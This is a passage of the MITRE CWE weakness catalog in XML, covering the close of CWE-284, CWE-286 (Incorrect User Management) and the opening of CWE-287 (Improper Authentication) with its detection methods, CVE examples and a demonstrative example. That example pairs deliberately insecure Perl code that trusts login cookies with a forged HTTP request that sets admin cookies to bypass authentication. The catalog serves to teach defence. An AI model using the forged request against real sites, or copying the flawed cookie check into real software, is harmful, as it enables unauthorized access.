               <Entry_Name>Insecure resource access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="104"/>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="402"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="5"/>
            <Related_Attack_Pattern CAPEC_ID="51"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="647"/>
            <Related_Attack_Pattern CAPEC_ID="668"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
            <Related_Attack_Pattern CAPEC_ID="87"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-229"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 4, &#34;Authorization&#34; Page 114; Chapter 6, &#34;Determining&#xA;                  Appropriate Access Control&#34; Page 171"/>
            <Reference External_Reference_ID="REF-231"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-233"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Authorization&#34;, Page 39"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;ACL Inheritance&#34;, Page 649"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-24</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Changed name and description; clarified difference between "access control" and "authorization."</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Missing or Inconsistent Access Control</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Improper Access Control (Authorization)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="286" Name="Incorrect User Management" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly manage a user within its environment.</Description>
         <Extended_Description>Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>User management errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).</Note>
            <Note Type="Maintenance">This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">User Management Issues</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="287" Name="Improper Authentication" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>authentification</Term>
               <Description>An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>AuthN</Term>
               <Description>"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>AuthC</Term>
               <Description>"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-6">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.</xhtml:p>
                  <xhtml:p>Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use an authentication framework or library such as the OWASP ESAPI Authentication feature.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $q = new CGI;<xhtml:br/>
                     <xhtml:br/>if ($q-&gt;cookie('loggedin') ne "true") {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (! AuthenticateUser($q-&gt;param('username'), $q-&gt;param('password'))) {<xhtml:div style="margin-left:1em;">ExitError("Error: you need to log in first");</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                              <xhtml:div># Set loggedin and user cookies.<xhtml:br/>$q-&gt;cookie(<xhtml:div style="margin-left:1em;">-name =&gt; 'loggedin',<xhtml:br/>-value =&gt; 'true'<xhtml:br/>);</xhtml:div>
                                 <xhtml:br/>$q-&gt;cookie(<xhtml:div style="margin-left:1em;">-name =&gt; 'user',<xhtml:br/>-value =&gt; $q-&gt;param('username')<xhtml:br/>);</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>if ($q-&gt;cookie('user') eq "Administrator") {<xhtml:div style="margin-left:1em;">DoAdministratorTasks();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>GET /cgi-bin/vulnerable.cgi HTTP/1.1<xhtml:br/>Cookie: user=Administrator<xhtml:br/>Cookie: loggedin=true<xhtml:br/>
                     <xhtml:br/>[body of request]</xhtml:div>
               </Example_Code>
               <Body_Text>By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-117">
               <Intro_Text>In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.</Intro_Text>
               <References>
                  <Reference External_Reference_ID="REF-236"/>
               </References>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-36436</Reference>
               <Description>Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-36436</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30034</Reference>
               <Description>Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30034</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29951</Reference>
               <Description>TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29951</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29952</Reference>
               <Description>Condition Monitor uses a protocol that does not require authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29952</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30313</Reference>
               <Description>Safety Instrumented System uses proprietary TCP protocols with no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30313</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30317</Reference>
               <Description>Distributed Control System (DCS) uses a protocol that has no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30317</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-33139</Reference>
               <Description>SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-33139</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-3116</Reference>
               <Description>Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an  incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-3116</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21972</Reference>
               <Description>Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-37415</Reference>
               <Description>IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-37415</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-13927</Reference>
               <Description>Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-13927</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-35395</Reference>
               <Description>Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-35395</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-34523</Reference>
               <Description>Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-34523</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-12812</Reference>
               <Description>Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-12812</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-10148</Reference>
               <Description>Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-10148</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-0688</Reference>
               <Description>Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-0688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-14623</Reference>
               <Description>LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind</Description>
